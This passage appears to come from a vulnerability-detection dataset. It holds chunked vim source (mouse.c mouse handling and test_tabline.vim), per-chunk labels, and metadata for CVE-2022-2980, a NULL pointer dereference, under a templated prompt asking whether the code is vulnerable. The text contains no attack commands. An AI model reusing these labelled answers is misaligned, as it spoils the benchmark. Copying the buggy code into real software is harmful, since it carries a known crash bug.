ASCII decimal value. The page coordinate may be omitted if the\n\t * locator is on page one (the default). We ignore it anyway.\n\t */\n\tint Pe, Pb, Pr, Pc;", "\tp = tp + *slen;", "\t// get event status\n\tPe = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// get button status\n\tPb = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// get row status\n\tPr = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// get column status\n\tPc = getdigits(&p);", "\t// the page parameter is optional\n\tif (*p == ';')\n\t{\n\t p++;\n\t (void)getdigits(&p);\n\t}\n\tif (*p++ != '&')\n\t return -1;\n\tif (*p++ != 'w')\n\t return -1;", "\tmouse_code = 0;\n\tswitch (Pe)\n\t{\n\t case 0: return -1; // position request while unavailable\n\t case 1: // a response to a locator position request includes\n\t\t //\tthe status of all buttons\n\t\t Pb &= 7; // mask off and ignore fourth button\n\t\t if (Pb & 4)\n\t\t\t mouse_code = MOUSE_LEFT;\n\t\t if (Pb & 2)\n\t\t\t mouse_code = MOUSE_MIDDLE;\n\t\t if (Pb & 1)\n\t\t\t mouse_code = MOUSE_RIGHT;\n\t\t if (Pb)\n\t\t {\n\t\t\t held_button = mouse_code;\n\t\t\t mouse_code |= MOUSE_DRAG;\n\t\t\t WantQueryMouse = TRUE;\n\t\t }\n\t\t is_drag = TRUE;\n\t\t showmode();\n\t\t break;\n\t case 2: mouse_code = MOUSE_LEFT;\n\t\t WantQueryMouse = TRUE;\n\t\t break;\n\t case 3: mouse_code = MOUSE_LEFT;\n\t\t is_release = TRUE;\n\t\t break;\n\t case 4: mouse_code = MOUSE_MIDDLE;\n\t\t WantQueryMouse = TRUE;\n\t\t break;\n\t case 5: mouse_code = MOUSE_MIDDLE;\n\t\t is_release = TRUE;\n\t\t break;\n\t case 6: mouse_code = MOUSE_RIGHT;\n\t\t WantQueryMouse = TRUE;\n\t\t break;\n\t case 7: mouse_code = MOUSE_RIGHT;\n\t\t is_release = TRUE;\n\t\t break;\n\t case 8: return -1; // fourth button down\n\t case 9: return -1; // fourth button up\n\t case 10: return -1; // mouse outside of filter rectangle\n\t default: return -1; // should never occur\n\t}", "\tmouse_col = Pc - 1;\n\tmouse_row = Pr - 1;", "\t*slen += (int)(p - (tp + *slen));\n }\n# endif // FEAT_MOUSE_DEC\n# ifdef FEAT_MOUSE_PTERM\n if (key_name[0] == KS_PTERM_MOUSE)\n {\n\tint button, num_clicks, action;", "\tp = tp + *slen;", "\taction = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\tmouse_row = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;\n\tmouse_col = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\tbutton = getdigits(&p);\n\tmouse_code = 0;", "\tswitch (button)\n\t{\n\t case 4: mouse_code = MOUSE_LEFT; break;\n\t case 1: mouse_code = MOUSE_RIGHT; break;\n\t case 2: mouse_code = MOUSE_MIDDLE; break;\n\t default: return -1;\n\t}", "\tswitch (action)\n\t{\n\t case 31: // Initial press\n\t\tif (*p++ != ';')\n\t\t return -1;", "\t\tnum_clicks = getdigits(&p); // Not used\n\t\tbreak;", "\t case 32: // Release\n\t\tis_release = TRUE;\n\t\tbreak;", "\t case 33: // Drag\n\t\theld_button = mouse_code;\n\t\tmouse_code |= MOUSE_DRAG;\n\t\tbreak;", "\t default:\n\t\treturn -1;\n\t}", "\tif (*p++ != 't')\n\t return -1;", "\t*slen += (p - (tp + *slen));\n }\n# endif // FEAT_MOUSE_PTERM", " // Interpret the mouse code\n current_button = (mouse_code & MOUSE_CLICK_MASK);\n if (is_release)\n\tcurrent_button |= MOUSE_RELEASE;", " if (current_button == MOUSE_RELEASE\n# ifdef FEAT_MOUSE_XTERM\n\t && wheel_code == 0\n# endif\n )\n {\n\t/*\n\t * If we get a mouse drag or release event when there is no mouse\n\t * button held down (held_button == MOUSE_RELEASE), produce a K_IGNORE\n\t * below.\n\t * (can happen when you hold down two buttons and then let them go, or\n\t * click in the menu bar, but not on a menu, and drag into the text).\n\t */\n\tif ((mouse_code & MOUSE_DRAG) == MOUSE_DRAG)\n\t is_drag = TRUE;\n\tcurrent_button = held_button;\n }\n else\n {\n if (wheel_code == 0)\n {\n# ifdef CHECK_DOUBLE_CLICK\n# ifdef FEAT_MOUSE_GPM\n\t/*\n\t * Only for Unix, when GUI not active, we handle multi-clicks here, but\n\t * not for GPM mouse events.\n\t */\n# ifdef FEAT_GUI\n\tif (key_name[0] != KS_GPM_MOUSE && !gui.in_use)\n# else\n\t if (key_name[0] != KS_GPM_MOUSE)\n# endif\n# else\n# ifdef FEAT_GUI\n\t\tif (!gui.in_use)\n# endif\n# endif\n\t\t{\n\t\t /*\n\t\t * Compute the time elapsed since the previous mouse click.\n\t\t */\n\t\t gettimeofday(&mouse_time, NULL);\n\t\t if (orig_mouse_time.tv_sec == 0)\n\t\t {\n\t\t\t/*\n\t\t\t * Avoid computing the difference between mouse_time\n\t\t\t * and orig_mouse_time for the first click, as the\n\t\t\t * difference would be huge and would cause\n\t\t\t * multiplication overflow.\n\t\t\t */\n\t\t\ttimediff = p_mouset;\n\t\t }\n\t\t else\n\t\t\ttimediff = time_diff_ms(&orig_mouse_time, &mouse_time);\n\t\t orig_mouse_time = mouse_time;\n\t\t if (mouse_code == orig_mouse_code\n\t\t\t && timediff < p_mouset\n\t\t\t && orig_num_clicks != 4\n\t\t\t && orig_mouse_col == mouse_col\n\t\t\t && orig_mouse_row == mouse_row\n\t\t\t && (is_mouse_topline(curwin)\n\t\t\t\t// Double click in tab pages line also works\n\t\t\t\t// when window contents changes.\n\t\t\t\t|| (mouse_row == 0 && firstwin->w_winrow > 0))\n\t\t )\n\t\t\t++orig_num_clicks;\n\t\t else\n\t\t\torig_num_clicks = 1;\n\t\t orig_mouse_col = mouse_col;\n\t\t orig_mouse_row = mouse_row;\n\t\t set_mouse_topline(curwin);\n\t\t}\n# if defined(FEAT_GUI) || defined(FEAT_MOUSE_GPM)\n\t\telse\n\t\t orig_num_clicks = NUM_MOUSE_CLICKS(mouse_code);\n# endif\n# else\n\torig_num_clicks = NUM_MOUSE_CLICKS(mouse_code);\n# endif\n\tis_click = TRUE;\n }\n orig_mouse_code = mouse_code;\n }\n if (!is_drag)\n\theld_button = mouse_code & MOUSE_CLICK_MASK;", " /*\n * Translate the actual mouse event into a pseudo mouse event.\n * First work out what modifiers are to be used.\n */\n if (orig_mouse_code & MOUSE_SHIFT)\n\t*modifiers |= MOD_MASK_SHIFT;\n if (orig_mouse_code & MOUSE_CTRL)\n\t*modifiers |= MOD_MASK_CTRL;\n if (orig_mouse_code & MOUSE_ALT)\n\t*modifiers |= MOD_MASK_ALT;\n if (orig_num_clicks == 2)\n\t*modifiers |= MOD_MASK_2CLICK;\n else if (orig_num_clicks == 3)\n\t*modifiers |= MOD_MASK_3CLICK;\n else if (orig_num_clicks == 4)\n\t*modifiers |= MOD_MASK_4CLICK;", " // Work out our pseudo mouse event. Note that MOUSE_RELEASE gets added,\n // then it's not mouse up/down.\n key_name[0] = KS_EXTRA;\n if (wheel_code != 0 && (!is_release || release_is_ambiguous))\n {\n\tif (wheel_code & MOUSE_CTRL)\n\t *modifiers |= MOD_MASK_CTRL;\n\tif (wheel_code & MOUSE_ALT)\n\t *modifiers |= MOD_MASK_ALT;", "\tif (wheel_code & 1 && wheel_code & 2)\n\t key_name[1] = (int)KE_MOUSELEFT;\n\telse if (wheel_code & 2)\n\t key_name[1] = (int)KE_MOUSERIGHT;\n\telse if (wheel_code & 1)\n\t key_name[1] = (int)KE_MOUSEUP;\n\telse\n\t key_name[1] = (int)KE_MOUSEDOWN;", "\theld_button = MOUSE_RELEASE;\n }\n else\n\tkey_name[1] = get_pseudo_mouse_code(current_button, is_click, is_drag);", "\n // Make sure the mouse position is valid. Some terminals may return weird\n // values.\n if (mouse_col >= Columns)\n\tmouse_col = Columns - 1;\n if (mouse_row >= Rows)\n\tmouse_row = Rows - 1;", " return 0;\n}", "// Functions also used for popup windows.", "/*\n * Compute the buffer line position from the screen position \"rowp\" / \"colp\" in\n * window \"win\".\n * \"plines_cache\" can be NULL (no cache) or an array with \"Rows\" entries that\n * caches the plines_win() result from a previous call. Entry is zero if not\n * computed yet. There must be no text or setting changes since the entry is\n * put in the cache.\n * Returns TRUE if the position is below the last line.\n */\n int\nmouse_comp_pos(\n win_T\t*win,\n int\t\t*rowp,\n int\t\t*colp,\n linenr_T\t*lnump,\n int\t\t*plines_cache)\n{\n int\t\tcol = *colp;\n int\t\trow = *rowp;\n linenr_T\tlnum;\n int\t\tretval = FALSE;\n int\t\toff;\n int\t\tcount;", "#ifdef FEAT_RIGHTLEFT\n if (win->w_p_rl)\n\tcol = win->w_width - 1 - col;\n#endif", " lnum = win->w_topline;", " while (row > 0)\n {\n\tint cache_idx = lnum - win->w_topline;", "\t// Only \"Rows\" lines are cached, with folding we'll run out of entries\n\t// and use the slow way.\n\tif (plines_cache != NULL && cache_idx < Rows\n\t\t\t\t\t\t&& plines_cache[cache_idx] > 0)\n\t count = plines_cache[cache_idx];\n\telse\n\t{\n#ifdef FEAT_DIFF\n\t // Don't include filler lines in \"count\"\n\t if (win->w_p_diff\n# ifdef FEAT_FOLDING\n\t\t && !hasFoldingWin(win, lnum, NULL, NULL, TRUE, NULL)\n# endif\n\t\t )\n\t {\n\t\tif (lnum == win->w_topline)\n\t\t row -= win->w_topfill;\n\t\telse\n\t\t row -= diff_check_fill(win, lnum);\n\t\tcount = plines_win_nofill(win, lnum, TRUE);\n\t }\n\t else\n#endif\n\t\tcount = plines_win(win, lnum, TRUE);\n\t if (plines_cache != NULL && cache_idx < Rows)\n\t\tplines_cache[cache_idx] = count;\n\t}\n\tif (count > row)\n\t break;\t// Position is in this buffer line.\n#ifdef FEAT_FOLDING\n\t(void)hasFoldingWin(win, lnum, NULL, &lnum, TRUE, NULL);\n#endif\n\tif (lnum == win->w_buffer->b_ml.ml_line_count)\n\t{\n\t retval = TRUE;\n\t break;\t\t// past end of file\n\t}\n\trow -= count;\n\t++lnum;\n }", " if (!retval)\n {\n\t// Compute the column without wrapping.\n\toff = win_col_off(win) - win_col_off2(win);\n\tif (col < off)\n\t col = off;\n\tcol += row * (win->w_width - off);\n\t// add skip column (for long wrapping line)\n\tcol += win->w_skipcol;\n }", " if (!win->w_p_wrap)\n\tcol += win->w_leftcol;", " // skip line number and fold column in front of the line\n col -= win_col_off(win);\n if (col <= 0)\n {\n#ifdef FEAT_NETBEANS_INTG\n\t// if mouse is clicked on the gutter, then inform the netbeans server\n\tif (*colp < win_col_off(win))\n\t netbeans_gutter_click(lnum);\n#endif\n\tcol = 0;\n }", " *colp = col;\n *rowp = row;\n *lnump = lnum;\n return retval;\n}", "/*\n * Find the window at screen position \"*rowp\" and \"*colp\". The positions are\n * updated to become relative to the top-left of the window.\n * When \"popup\" is FAIL_POPUP and the position is in a popup window then NULL\n * is returned. When \"popup\" is IGNORE_POPUP then do not even check popup\n * windows.\n * Returns NULL when something is wrong.\n */\n win_T *\nmouse_find_win(int *rowp, int *colp, mouse_find_T popup UNUSED)\n{\n frame_T\t*fp;\n win_T\t*wp;", "#ifdef FEAT_PROP_POPUP\n win_T\t*pwp = NULL;", " if (popup != IGNORE_POPUP)\n {\n\tpopup_reset_handled(POPUP_HANDLED_1);\n\twhile ((wp = find_next_popup(TRUE, POPUP_HANDLED_1)) != NULL)\n\t{\n\t if (*rowp >= wp->w_winrow && *rowp < wp->w_winrow + popup_height(wp)\n\t\t && *colp >= wp->w_wincol\n\t\t\t\t && *colp < wp->w_wincol + popup_width(wp))\n\t\tpwp = wp;\n\t}\n\tif (pwp != NULL)\n\t{\n\t if (popup == FAIL_POPUP)\n\t\treturn NULL;\n\t *rowp -= pwp->w_winrow;\n\t *colp -= pwp->w_wincol;\n\t return pwp;\n\t}\n }\n#endif", " fp = topframe;\n *rowp -= firstwin->w_winrow;\n for (;;)\n {\n\tif (fp->fr_layout == FR_LEAF)\n\t break;\n\tif (fp->fr_layout == FR_ROW)\n\t{\n\t for (fp = fp->fr_child; fp->fr_next != NULL; fp = fp->fr_next)\n\t {\n\t\tif (*colp < fp->fr_width)\n\t\t break;\n\t\t*colp -= fp->fr_width;\n\t }\n\t}\n\telse // fr_layout == FR_COL\n\t{\n\t for (fp = fp->fr_child; fp->fr_next != NULL; fp = fp->fr_next)\n\t {\n\t\tif (*rowp < fp->fr_height)\n\t\t break;\n\t\t*rowp -= fp->fr_height;\n\t }\n\t}\n }\n // When using a timer that closes a window the window might not actually\n // exist.\n FOR_ALL_WINDOWS(wp)\n\tif (wp == fp->fr_win)\n\t{\n#ifdef FEAT_MENU\n\t *rowp -= wp->w_winbar_height;\n#endif\n\t return wp;\n\t}\n return NULL;\n}", "#if defined(NEED_VCOL2COL) || defined(FEAT_BEVAL) || defined(FEAT_PROP_POPUP) \\\n\t|| defined(FEAT_EVAL) || defined(PROTO)\n/*\n * Convert a virtual (screen) column to a character column.\n * The first column is one.\n */\n int\nvcol2col(win_T *wp, linenr_T lnum, int vcol)\n{\n char_u\t *line;\n chartabsize_T cts;", " // try to advance to the specified column\n line = ml_get_buf(wp->w_buffer, lnum, FALSE);\n init_chartabsize_arg(&cts, wp, lnum, 0, line, line);\n while (cts.cts_vcol < vcol && *cts.cts_ptr != NUL)\n {\n\tcts.cts_vcol += win_lbr_chartabsize(&cts, NULL);\n\tMB_PTR_ADV(cts.cts_ptr);\n }\n clear_chartabsize_arg(&cts);", " return (int)(cts.cts_ptr - line);\n}\n#endif", "#if defined(FEAT_EVAL) || defined(PROTO)\n void\nf_getmousepos(typval_T *argvars UNUSED, typval_T *rettv)\n{\n dict_T\t*d;\n win_T\t*wp;\n int\t\trow = mouse_row;\n int\t\tcol = mouse_col;\n varnumber_T winid = 0;\n varnumber_T winrow = 0;\n varnumber_T wincol = 0;\n linenr_T\tlnum = 0;\n varnumber_T column = 0;", " if (rettv_dict_alloc(rettv) == FAIL)\n\treturn;\n d = rettv->vval.v_dict;", " dict_add_number(d, \"screenrow\", (varnumber_T)mouse_row + 1);\n dict_add_number(d, \"screencol\", (varnumber_T)mouse_col + 1);", " wp = mouse_find_win(&row, &col, FIND_POPUP);\n if (wp != NULL)\n {\n\tint\ttop_off = 0;\n\tint\tleft_off = 0;\n\tint\theight = wp->w_height + wp->w_status_height;", "#ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(wp))\n\t{\n\t top_off = popup_top_extra(wp);\n\t left_off = popup_left_extra(wp);\n\t height = popup_height(wp);\n\t}\n#endif\n\tif (row < height)\n\t{\n\t winid = wp->w_id;\n\t winrow = row + 1;\n\t wincol = col + 1;\n\t row -= top_off;\n\t col -= left_off;\n\t if (row >= 0 && row < wp->w_height && col >= 0 && col < wp->w_width)\n\t {\n\t\t(void)mouse_comp_pos(wp, &row, &col, &lnum, NULL);\n\t\tcol = vcol2col(wp, lnum, col);\n\t\tcolumn = col + 1;\n\t }\n\t}\n }\n dict_add_number(d, \"winid\", winid);\n dict_add_number(d, \"winrow\", winrow);\n dict_add_number(d, \"wincol\", wincol);\n dict_add_number(d, \"line\", (varnumber_T)lnum);\n dict_add_number(d, \"column\", column);\n}\n#endif" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [542, 149, 733], "buggy_code_start_loc": [474, 149, 733], "filenames": ["src/mouse.c", "src/testdir/test_tabline.vim", "src/version.c"], "fixing_code_end_loc": [545, 164, 736], "fixing_code_start_loc": [474, 150, 734], "message": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "matchCriteriaId": "01913AB4-2601-4722-8852-1E3CB540F78E", "versionEndExcluding": "9.0.0259", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*", "matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259."}, {"lang": "es", "value": "Una Desreferencia de Puntero NULL en el repositorio de GitHub vim/vim versiones anteriores a 9.0.0259."}], "evaluatorComment": null, "id": "CVE-2022-2980", "lastModified": "2023-05-03T12:16:09.687", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-08-25T20:15:09.587", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, {"source": "security@huntr.dev", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://huntr.dev/bounties/6e7b12a5-242c-453d-b39e-9625d563b0ea"}, {"source": "security@huntr.dev", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL/"}, {"source": "security@huntr.dev", "tags": null, "url": "https://security.gentoo.org/glsa/202305-16"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-476"}], "source": "security@huntr.dev", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-476"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, "type": "CWE-476"}
141
Determine whether the {function_name} code is vulnerable or not.
[ "\" Test for tabline", "source shared.vim", "func TablineWithCaughtError()\n let s:func_in_tabline_called = 1\n try\n call eval('unknown expression')\n catch\n endtry\n return ''\nendfunc", "func TablineWithError()\n let s:func_in_tabline_called = 1\n call eval('unknown expression')\n return ''\nendfunc", "func Test_caught_error_in_tabline()\n if has('gui')\n set guioptions-=e\n endif\n let showtabline_save = &showtabline\n set showtabline=2\n let s:func_in_tabline_called = 0\n let tabline = '%{TablineWithCaughtError()}'\n let &tabline = tabline\n redraw!\n call assert_true(s:func_in_tabline_called)\n call assert_equal(tabline, &tabline)\n set tabline=\n let &showtabline = showtabline_save\nendfunc", "func Test_tabline_will_be_disabled_with_error()\n if has('gui')\n set guioptions-=e\n endif\n let showtabline_save = &showtabline\n set showtabline=2\n let s:func_in_tabline_called = 0\n let tabline = '%{TablineWithError()}'\n try\n let &tabline = tabline\n redraw!\n catch\n endtry\n call assert_true(s:func_in_tabline_called)\n call assert_equal('', &tabline)\n set tabline=\n let &showtabline = showtabline_save\nendfunc", "func Test_redrawtabline()\n if has('gui')\n set guioptions-=e\n endif\n let showtabline_save = &showtabline\n set showtabline=2\n set tabline=%{bufnr('$')}\n edit Xtabline1\n edit Xtabline2\n redraw\n call assert_match(bufnr('$') . '', Screenline(1))\n au BufAdd * redrawtabline\n badd Xtabline3\n call assert_match(bufnr('$') . '', Screenline(1))", " set tabline=\n let &showtabline = showtabline_save\n au! Bufadd\nendfunc", "\" Test for the \"%T\" and \"%X\" flags in the 'tabline' option\nfunc MyTabLine()\n let s = ''\n for i in range(tabpagenr('$'))\n \" set the tab page number (for mouse clicks)\n let s .= '%' . (i + 1) . 'T'", " \" the label is made by MyTabLabel()\n let s .= ' %{MyTabLabel(' . (i + 1) . ')} '\n endfor", " \" after the last tab fill with TabLineFill and reset tab page nr\n let s .= '%T'", " \" right-align the label to close the current tab page\n if tabpagenr('$') > 1\n let s .= '%=%Xclose'\n endif", " return s\nendfunc", "func MyTabLabel(n)\n let buflist = tabpagebuflist(a:n)\n let winnr = tabpagewinnr(a:n)\n return bufname(buflist[winnr - 1])\nendfunc", "func Test_tabline_flags()\n if has('gui')\n set guioptions-=e\n endif\n set tabline=%!MyTabLine()\n edit Xtabline1\n tabnew Xtabline2\n redrawtabline\n call assert_match('^ Xtabline1 Xtabline2\\s\\+close$', Screenline(1))\n set tabline=\n %bw!\nendfunc", "function EmptyTabname()\n return \"\"\nendfunction", "function MakeTabLine() abort\n let titles = map(range(1, tabpagenr('$')), '\"%( %\" . v:val . \"T%{EmptyTabname()}%T %)\"')\n let sep = 'あ'\n let tabpages = join(titles, sep)\n return tabpages .. sep .. '%=%999X X'\nendfunction", "func Test_tabline_empty_group()\n \" this was reading invalid memory\n set tabline=%!MakeTabLine()\n tabnew\n redraw!", " tabclose\n set tabline=\nendfunc", "\" When there are exactly 20 tabline format items (the exact size of the\n\" initial tabline items array), test that we don't write beyond the size\n\" of the array.\nfunc Test_tabline_20_format_items_no_overrun()\n set showtabline=2", " let tabline = repeat('%#StatColorHi2#', 20)\n let &tabline = tabline\n redrawtabline", " set showtabline& tabline&\nendfunc\n", "", "\" vim: shiftwidth=2 sts=2 expandtab" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [542, 149, 733], "buggy_code_start_loc": [474, 149, 733], "filenames": ["src/mouse.c", "src/testdir/test_tabline.vim", "src/version.c"], "fixing_code_end_loc": [545, 164, 736], "fixing_code_start_loc": [474, 150, 734], "message": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "matchCriteriaId": "01913AB4-2601-4722-8852-1E3CB540F78E", "versionEndExcluding": "9.0.0259", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*", "matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259."}, {"lang": "es", "value": "Una Desreferencia de Puntero NULL en el repositorio de GitHub vim/vim versiones anteriores a 9.0.0259."}], "evaluatorComment": null, "id": "CVE-2022-2980", "lastModified": "2023-05-03T12:16:09.687", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-08-25T20:15:09.587", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, {"source": "security@huntr.dev", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://huntr.dev/bounties/6e7b12a5-242c-453d-b39e-9625d563b0ea"}, {"source": "security@huntr.dev", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL/"}, {"source": "security@huntr.dev", "tags": null, "url": "https://security.gentoo.org/glsa/202305-16"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-476"}], "source": "security@huntr.dev", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-476"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, "type": "CWE-476"}
141
Determine whether the {function_name} code is vulnerable or not.
[ "\" Test for tabline", "source shared.vim", "func TablineWithCaughtError()\n let s:func_in_tabline_called = 1\n try\n call eval('unknown expression')\n catch\n endtry\n return ''\nendfunc", "func TablineWithError()\n let s:func_in_tabline_called = 1\n call eval('unknown expression')\n return ''\nendfunc", "func Test_caught_error_in_tabline()\n if has('gui')\n set guioptions-=e\n endif\n let showtabline_save = &showtabline\n set showtabline=2\n let s:func_in_tabline_called = 0\n let tabline = '%{TablineWithCaughtError()}'\n let &tabline = tabline\n redraw!\n call assert_true(s:func_in_tabline_called)\n call assert_equal(tabline, &tabline)\n set tabline=\n let &showtabline = showtabline_save\nendfunc", "func Test_tabline_will_be_disabled_with_error()\n if has('gui')\n set guioptions-=e\n endif\n let showtabline_save = &showtabline\n set showtabline=2\n let s:func_in_tabline_called = 0\n let tabline = '%{TablineWithError()}'\n try\n let &tabline = tabline\n redraw!\n catch\n endtry\n call assert_true(s:func_in_tabline_called)\n call assert_equal('', &tabline)\n set tabline=\n let &showtabline = showtabline_save\nendfunc", "func Test_redrawtabline()\n if has('gui')\n set guioptions-=e\n endif\n let showtabline_save = &showtabline\n set showtabline=2\n set tabline=%{bufnr('$')}\n edit Xtabline1\n edit Xtabline2\n redraw\n call assert_match(bufnr('$') . '', Screenline(1))\n au BufAdd * redrawtabline\n badd Xtabline3\n call assert_match(bufnr('$') . '', Screenline(1))", " set tabline=\n let &showtabline = showtabline_save\n au! Bufadd\nendfunc", "\" Test for the \"%T\" and \"%X\" flags in the 'tabline' option\nfunc MyTabLine()\n let s = ''\n for i in range(tabpagenr('$'))\n \" set the tab page number (for mouse clicks)\n let s .= '%' . (i + 1) . 'T'", " \" the label is made by MyTabLabel()\n let s .= ' %{MyTabLabel(' . (i + 1) . ')} '\n endfor", " \" after the last tab fill with TabLineFill and reset tab page nr\n let s .= '%T'", " \" right-align the label to close the current tab page\n if tabpagenr('$') > 1\n let s .= '%=%Xclose'\n endif", " return s\nendfunc", "func MyTabLabel(n)\n let buflist = tabpagebuflist(a:n)\n let winnr = tabpagewinnr(a:n)\n return bufname(buflist[winnr - 